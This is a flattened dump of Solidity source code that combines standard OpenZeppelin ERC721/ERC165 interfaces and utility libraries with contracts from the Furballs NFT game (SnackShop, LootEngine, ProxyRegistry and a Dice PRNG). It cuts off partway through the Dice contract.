Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "../utils/FurLib.sol"; import "../utils/FurProxy.sol"; // import "hardhat/console.sol"; /// @title SnackShop /// @author LFG Gaming LLC /// @notice Simple data-storage for snacks contract SnackShop is FurProxy { // snackId to "definition" of the snack mapping(uint32 => FurLib.Snack) private snack; // List of actual snack IDs uint32[] private snackIds; // tokenId => snackId => (snackId) + (stackSize) mapping(uint256 => mapping(uint32 => uint96)) private snackStates; // Internal cache for speed. uint256 private _intervalDuration; constructor(address furballsAddress) FurProxy(furballsAddress) { _intervalDuration = furballs.intervalDuration(); _defineSnack(0x100, 24 , 250, 15, 0); _defineSnack(0x200, 24 * 3, 750, 20, 0); _defineSnack(0x300, 24 * 7, 1500, 25, 0); } // ----------------------------------------------------------------------------------------------- // Public // ----------------------------------------------------------------------------------------------- /// @notice Returns the snacks currently applied to a Furball function snacks(uint256 tokenId) external view returns(FurLib.Snack[] memory) { // First, count how many active snacks there are... uint snackCount = 0; for (uint i=0; i<snackIds.length; i++) { uint256 remaining = _snackTimeRemaning(tokenId, snackIds[i]); if (remaining != 0) { snackCount++; } } // Next, build the return array... FurLib.Snack[] memory ret = new FurLib.Snack[](snackCount); if (snackCount == 0) return ret; uint snackIdx = 0; for (uint i=0; i<snackIds.length; i++) { uint256 remaining = _snackTimeRemaning(tokenId, snackIds[i]); if (remaining != 0) { uint96 snackState = snackStates[tokenId][snackIds[i]]; ret[snackIdx] = snack[snackIds[i]]; ret[snackIdx].fed = uint64(snackState >> 16); ret[snackIdx].count = uint16(snackState); snackIdx++; } } return ret; } /// @notice The public accessor calculates the snack boosts function snackEffects(uint256 tokenId) external view returns(uint256) { uint hap = 0; uint en = 0; for (uint i=0; i<snackIds.length; i++) { uint256 remaining = _snackTimeRemaning(tokenId, snackIds[i]); if (remaining != 0) { hap += snack[snackIds[i]].happiness; en += snack[snackIds[i]].energy; } } return (hap << 16) + (en); } /// @notice Public accessor for enumeration function getSnackIds() external view returns(uint32[] memory) { return snackIds; } /// @notice Load a snack by ID function getSnack(uint32 snackId) external view returns(FurLib.Snack memory) { return snack[snackId]; } // ----------------------------------------------------------------------------------------------- // GameAdmin // ----------------------------------------------------------------------------------------------- /// @notice Allows admins to configure the snack store. function setSnack( uint32 snackId, uint32 duration, uint16 furCost, uint16 hap, uint16 en ) external gameAdmin { _defineSnack(snackId, duration, furCost, hap, en); } /// @notice Shortcut for admins/timekeeper function giveSnack( uint256 tokenId, uint32 snackId, uint16 count ) external gameAdmin { _assignSnack(tokenId, snackId, count); } /// @notice Shortcut for admins/timekeeper function giveSnacks( uint256 tokenId, uint64[] calldata snackStacks ) external gameAdmin { for (uint i=0; i<snackStacks.length; i++) { _assignSnack(tokenId, uint32(snackStacks[i] >> 16), uint16(snackStacks[i])); } } /// @notice Shortcut for admins/timekeeper function giveManySnacks( uint256[] calldata tokenIds, uint64[] calldata snackStacks ) external gameAdmin { for (uint i=0; i<snackStacks.length; i++) { _assignSnack(tokenIds[i], uint32(snackStacks[i] >> 16), uint16(snackStacks[i])); } } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- /// @notice Update the snackStates function _assignSnack(uint256 tokenId, uint32 snackId, uint16 count) internal { uint timeRemaining = _snackTimeRemaning(tokenId, snackId); if (timeRemaining == 0) { snackStates[tokenId][snackId] = uint96((block.timestamp << 16) + count); } else { snackStates[tokenId][snackId] = snackStates[tokenId][snackId] + count; } } /// @notice Both removes inactive _snacks from a token and searches for a specific snack Id index /// @dev Both at once saves some size & ensures that the _snacks are frequently cleaned. /// @return The index+1 of the existing snack // function _cleanSnack(uint256 tokenId, uint32 snackId) internal returns(uint256) { // uint32 ret = 0; // uint16 hap = 0; // uint16 en = 0; // for (uint32 i=1; i<=_snacks[tokenId].length && i <= FurLib.Max32; i++) { // FurLib.Snack memory snack = _snacks[tokenId][i-1]; // // Has the snack transitioned from active to inactive? // if (_snackTimeRemaning(snack) == 0) { // if (_snacks[tokenId].length > 1) { // _snacks[tokenId][i-1] = _snacks[tokenId][_snacks[tokenId].length - 1]; // } // _snacks[tokenId].pop(); // i--; // Repeat this idx // continue; // } // hap += snack.happiness; // en += snack.energy; // if (snackId != 0 && snack.snackId == snackId) { // ret = i; // } // } // return (ret << 32) + (hap << 16) + (en); // } /// @notice Check if the snack is active; returns 0 if inactive, otherwise the duration function _snackTimeRemaning(uint256 tokenId, uint32 snackId) internal view returns(uint256) { uint96 snackState = snackStates[tokenId][snackId]; uint64 fed = uint64(snackState >> 16); if (fed == 0) return 0; uint16 count = uint16(snackState); uint32 duration = snack[snackId].duration; uint256 expiresAt = uint256(fed + (count * duration * _intervalDuration)); return expiresAt <= block.timestamp ? 0 : (expiresAt - block.timestamp); } /// @notice Store a new snack definition function _defineSnack( uint32 snackId, uint32 duration, uint16 furCost, uint16 hap, uint16 en ) internal { if (snack[snackId].snackId != snackId) { snackIds.push(snackId); } snack[snackId].snackId = snackId; snack[snackId].duration = duration; snack[snackId].furCost = furCost; snack[snackId].happiness = hap; snack[snackId].energy = en; snack[snackId].count = 1; snack[snackId].fed = 0; } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./ILootEngine.sol"; import "./SnackShop.sol"; import "../editions/IFurballEdition.sol"; import "../Furballs.sol"; import "../utils/FurLib.sol"; import "../utils/FurProxy.sol"; import "../utils/ProxyRegistry.sol"; import "../utils/Dice.sol"; import "../utils/Governance.sol"; import "../utils/MetaData.sol"; import "./Zones.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; // import "hardhat/console.sol"; /// @title LootEngine /// @author LFG Gaming LLC /// @notice Base implementation of the loot engine abstract contract LootEngine is ERC165, ILootEngine, Dice, FurProxy { ProxyRegistry private _proxies; // An address which may act on behalf of the owner (company) address override public l2Proxy; // Zone control contract Zones override public zones; // Simple storage of snack definitions SnackShop override public snacks; uint32 constant maxExperience = 2010000; constructor( address furballsAddress, address snacksAddr, address zonesAddr, address tradeProxy, address companyProxyAddr ) FurProxy(furballsAddress) { _proxies = ProxyRegistry(tradeProxy); l2Proxy = companyProxyAddr; snacks = SnackShop(snacksAddr); zones = Zones(zonesAddr); } // ----------------------------------------------------------------------------------------------- // Display // ----------------------------------------------------------------------------------------------- /// @notice Gets called for Metadata function furballDescription(uint256 tokenId) external virtual override view returns (string memory) { return string(abi.encodePacked( '", "external_url": "https://', _getSubdomain(), 'furballs.com/fb/', FurLib.bytesHex(abi.encode(tokenId)), '", "animation_url": "https://', _getSubdomain(), 'furballs.com/e/', FurLib.bytesHex(abi.encode(tokenId)) )); } /// @notice Gets called at the beginning of token render; zones are able to render BKs function render(uint256 tokenId) external virtual override view returns(string memory) { return zones.render(tokenId); } // ----------------------------------------------------------------------------------------------- // Proxy // ----------------------------------------------------------------------------------------------- /// @notice An instant snack + move function, called from Zones function snackAndMove( FurLib.SnackMove[] calldata snackMoves, uint32 zone, address from ) external override gameJob { uint256[] memory tokenIds = new uint256[](snackMoves.length); for (uint i=0; i<snackMoves.length; i++) { tokenIds[i] = snackMoves[i].tokenId; for (uint j=0; j<snackMoves[i].snackIds.length; j++) { furballs.fur().purchaseSnack( from, FurLib.PERMISSION_USER, tokenIds[i], snackMoves[i].snackIds[j], 1); } } furballs.playMany(tokenIds, zone, from); } /// @notice Graceful way for the job to end TK, also burning tickets function endTimekeeper( address sender, uint32 fuelCost, uint256[] calldata tokenIds, uint64[] calldata lastTimestamps, uint8[] calldata modes ) external gameJob { furballs.furgreement().fuel().burn(sender, fuelCost); zones.timestampModes(tokenIds, lastTimestamps, modes); } // ----------------------------------------------------------------------------------------------- // Public // ----------------------------------------------------------------------------------------------- /// @notice Loot can have different weight to help prevent over-powering a furball /// @dev Each point of weight can be offset by a point of energy; the result reduces luck function weightOf(uint128 lootId) external virtual override pure returns (uint16) { return 2; } /// @notice Checking the zone may use _require to detect preconditions. function enterZone( uint256 tokenId, uint32 zone, uint256[] memory team ) external virtual override returns(uint256) { zones.enterZone(tokenId, zone); return zone; } /// @notice Proxy logic is presently delegated to OpenSea-like contract function canProxyTrades( address owner, address operator ) external virtual override view returns(bool) { if (address(_proxies) == address(0)) return false; return address(_proxies.proxies(owner)) == operator; } /// @notice Allow a player to play? Throws on error if not. /// @dev This is core gameplay security logic function approveSender(address sender) external virtual override view returns(uint) { if (sender == address(0)) return 0; if (sender == l2Proxy) return FurLib.PERMISSION_OWNER; if (sender == address(furballs.furgreement())) return FurLib.PERMISSION_CONTRACT; return _permissions(sender); } /// @notice Attempt to upgrade a given piece of loot (item ID) function upgradeLoot( FurLib.RewardModifiers memory modifiers, address owner, uint128 lootId, uint8 chances ) external virtual override returns(uint128) { // upgradeLoot will never receive luckPercent==0 because its stats are noncontextual (uint8 rarity, uint8 stat) = _itemRarityStat(lootId); require(rarity > 0 && rarity < 3, "RARITY"); uint32 chance = (rarity == 1 ? 75 : 25) * uint32(chances) + uint32(modifiers.luckPercent * 10); // Remove the 100% from loot, with 5% minimum chance chance = chance > 1050 ? (chance - 1000) : 50; // Even with many chances, odds are capped: if (chance > 750) chance = 750; uint32 threshold = (FurLib.Max32 / 1000) * (1000 - chance); uint256 rolled = (uint256(roll(modifiers.expPercent))); return rolled < threshold ? 0 : _packLoot(rarity + 1, stat); } /// @notice Main loot-drop functionm function dropLoot( uint32 intervals, FurLib.RewardModifiers memory modifiers ) external virtual override returns(uint128) { if (modifiers.luckPercent == 0) return 0; (uint8 rarity, uint8 stat) = _rollRarityStat( uint32((intervals * uint256(modifiers.luckPercent)) /100), 0); return _packLoot(rarity, stat); } /// @notice The snack shop has IDs for each snack definition function getSnack(uint32 snackId) external view virtual override returns(FurLib.Snack memory) { return snacks.getSnack(snackId); } /// @notice Layers on LootEngine modifiers to rewards function modifyReward( FurLib.Furball memory furball, FurLib.RewardModifiers memory modifiers, FurLib.Account memory account, bool contextual ) external virtual override view returns(FurLib.RewardModifiers memory) { // Use temporary variables is more gas-efficient than accessing them off the struct FurLib.ZoneReward memory zr = zones.getFurballZoneReward(furball.number); if (contextual && zr.mode != 1) { modifiers.luckPercent = 0; modifiers.expPercent = 0; modifiers.furPercent = 0; return modifiers; } uint16 expPercent = modifiers.expPercent + modifiers.happinessPoints + zr.rarity; uint16 furPercent = modifiers.furPercent + _furBoost(furball.level) + zr.rarity; // First add in the inventory for (uint256 i=0; i<furball.inventory.length; i++) { uint128 lootId = uint128(furball.inventory[i] >> 8); (uint8 rarity, uint8 stat) = _itemRarityStat(lootId); uint32 stackSize = uint32(furball.inventory[i] & 0xFF); uint16 boost = uint16(_lootRarityBoost(rarity) * stackSize); if (stat == 0) { expPercent += boost; } else { furPercent += boost; } } // Team size boosts! if (account.numFurballs > 1) { uint16 amt = uint16(2 * (account.numFurballs <= 10 ? (account.numFurballs - 1) : 10)); expPercent += amt; furPercent += amt; } modifiers.luckPercent = _luckBoosts( modifiers.luckPercent + modifiers.happinessPoints, furball.weight, modifiers.energyPoints); if (contextual) modifiers.luckPercent = _timeScalePercent(modifiers.luckPercent, furball.last, zr.timestamp); modifiers.furPercent = (contextual ? _timeScalePercent(furPercent, furball.last, zr.timestamp) : furPercent); modifiers.expPercent = (contextual ? _timeScalePercent(expPercent, furball.last, zr.timestamp) : expPercent); return modifiers; } /// @notice OpenSea metadata function attributesMetadata( uint256 tokenId ) external virtual override view returns(bytes memory) { FurLib.FurballStats memory stats = furballs.stats(tokenId, false); return abi.encodePacked( zones.attributesMetadata(stats, tokenId, maxExperience), MetaData.traitValue("Rare Genes Boost", stats.definition.rarity), MetaData.traitNumber("Edition", (tokenId & 0xFF) + 1), MetaData.traitNumber("Unique Loot Collected", stats.definition.inventory.length), MetaData.traitBoost("EXP Boost", stats.modifiers.expPercent), MetaData.traitBoost("FUR Boost", stats.modifiers.furPercent), MetaData.traitDate("Acquired", stats.definition.trade), MetaData.traitDate("Birthday", stats.definition.birth) ); } // ----------------------------------------------------------------------------------------------- // GameAdmin // ----------------------------------------------------------------------------------------------- /// @notice The trade hook can update balances or assign rewards function onTrade( FurLib.Furball memory furball, address from, address to ) external virtual override gameAdmin { // Do the first computation of the Furball's boosts if (from == address(0)) zones.computeStats(furball.number, 0); Governance gov = furballs.governance(); if (from != address(0)) gov.updateAccount(from, furballs.balanceOf(from) - 1); if (to != address(0)) gov.updateAccount(to, furballs.balanceOf(to) + 1); } /// @notice Calculates new level for experience function onExperience( FurLib.Furball memory furball, address owner, uint32 experience ) external virtual override gameAdmin returns(uint32 totalExp, uint16 levels) { // Zones keep track of the "additional" EXP, accrued via TK (it will get zeroed on zone change) FurLib.ZoneReward memory zr = zones.getFurballZoneReward(furball.number); uint32 has = furball.experience + zr.experience; totalExp = (experience < maxExperience && has < (maxExperience - experience)) ? (has + experience) : maxExperience; // Calculate new level & check for level-up uint16 oldLevel = furball.level; uint16 level = uint16(FurLib.expToLevel(totalExp, maxExperience)); levels = level > oldLevel ? (level - oldLevel) : 0; if (levels > 0) { // Update community standing furballs.governance().updateMaxLevel(owner, level); } return (totalExp, levels); } // ----------------------------------------------------------------------------------------------- // Internal // ----------------------------------------------------------------------------------------------- /// @notice After Timekeeper, rewards need to be scaled by the remaining time function _timeScalePercent( uint16 percent, uint64 furballLast, uint64 zoneLast ) internal view returns(uint16) { if (furballLast >= zoneLast) return percent; // TK was not more recent return uint16((uint64(percent) * (uint64(block.timestamp) - zoneLast)) / (uint64(block.timestamp) - furballLast)); } function _luckBoosts(uint16 luckPercent, uint16 weight, uint16 energy) internal pure returns(uint16) { // Calculate weight & reduce luck if (weight > 0) { if (energy > 0) { weight = (energy >= weight) ? 0 : (weight - energy); } if (weight > 0) { luckPercent = weight >= luckPercent ? 0 : (luckPercent - weight); } } return luckPercent; } /// @notice Core loot drop rarity randomization /// @dev exposes an interface helpful for the unit tests, but is not otherwise called publicly function _rollRarityStat(uint32 chance, uint32 seed) internal returns(uint8, uint8) { if (chance == 0) return (0, 0); uint32 threshold = 4320; uint32 rolled = roll(seed) % threshold; uint8 stat = uint8(rolled % 2); if (chance > threshold || rolled >= (threshold - chance)) return (3, stat); threshold -= chance; if (chance * 3 > threshold || rolled >= (threshold - chance * 3)) return (2, stat); threshold -= chance * 3; if (chance * 6 > threshold || rolled >= (threshold - chance * 6)) return (1, stat); return (0, stat); } function _packLoot(uint16 rarity, uint16 stat) internal pure returns(uint128) { return rarity == 0 ? 0 : (uint16(rarity) << 16) + (stat << 8); } function _lootRarityBoost(uint16 rarity) internal pure returns (uint16) { if (rarity == 1) return 5; else if (rarity == 2) return 15; else if (rarity == 3) return 30; return 0; } /// @notice Gets the FUR boost for a given level function _furBoost(uint16 level) internal pure returns (uint16) { if (level >= 200) return 581; if (level < 25) return (2 * level); if (level < 50) return (5000 + (level - 25) * 225) / 100; if (level < 75) return (10625 + (level - 50) * 250) / 100; if (level < 100) return (16875 + (level - 75) * 275) / 100; if (level < 125) return (23750 + (level - 100) * 300) / 100; if (level < 150) return (31250 + (level - 125) * 325) / 100; if (level < 175) return (39375 + (level - 150) * 350) / 100; return (48125 + (level - 175) * 375) / 100; } /// @notice Unpacks an item, giving its rarity + stat function _itemRarityStat(uint128 lootId) internal pure returns (uint8, uint8) { return ( uint8(FurLib.extractBytes(lootId, FurLib.LOOT_BYTE_RARITY, 1)), uint8(FurLib.extractBytes(lootId, FurLib.LOOT_BYTE_STAT, 1))); } function _getSubdomain() internal view returns (string memory) { uint chainId = _getChainId(); if (chainId == 3) return "ropsten."; if (chainId == 4) return "rinkeby."; if (chainId == 31337) return "localhost."; return ""; } function _getChainId() internal view returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } /// @notice Permission job proxy modifier gameJob() { require(msg.sender == l2Proxy || _permissionCheck(msg.sender) >= FurLib.PERMISSION_ADMIN, "JOB"); _; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(ILootEngine).interfaceId || super.supportsInterface(interfaceId); } // function _inventoryBoosts( // uint256[] memory inventory, bool contextual // ) internal view returns(uint16 expPercent, uint16 furPercent) { // for (uint256 i=0; i<inventory.length; i++) { // uint128 lootId = uint128(inventory[i] / 0x100); // (uint8 rarity, uint8 stat) = _itemRarityStat(lootId); // if (stat == 1 && contextual) continue; // uint32 stackSize = uint32(inventory[i] & 0xFF); // uint16 boost = uint16(_lootRarityBoost(rarity) * stackSize); // if (stat == 0) { // expPercent += boost; // } else { // furPercent += boost; // } // } // } } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; // Contract doesn't really provide anything... contract OwnableDelegateProxy {} // Required format for OpenSea of proxy delegate store // https://github.com/ProjectOpenSea/opensea-creatures/blob/f7257a043e82fae8251eec2bdde37a44fee474c4/contracts/ERC721Tradable.sol // https://etherscan.io/address/0xa5409ec958c83c3f309868babaca7c86dcb077c1#code contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.6; import "./FurLib.sol"; /// @title Dice /// @author LFG Gaming LLC /// @notice Math utility functions that leverage storage and thus cannot be pure abstract contract Dice { uint32 private LAST = 0; // Re-seed for PRNG /// @notice A PRNG which re-seeds itself with block information & another PRNG /// @dev This is unit-tested with monobit (frequency) and longestRunOfOnes function roll(uint32 seed) internal returns (uint32) { LAST = uint32(uint256(keccak256( abi.encodePacked(block.timestamp, block.basefee, _prng(LAST == 0 ? seed : LAST))) )); return 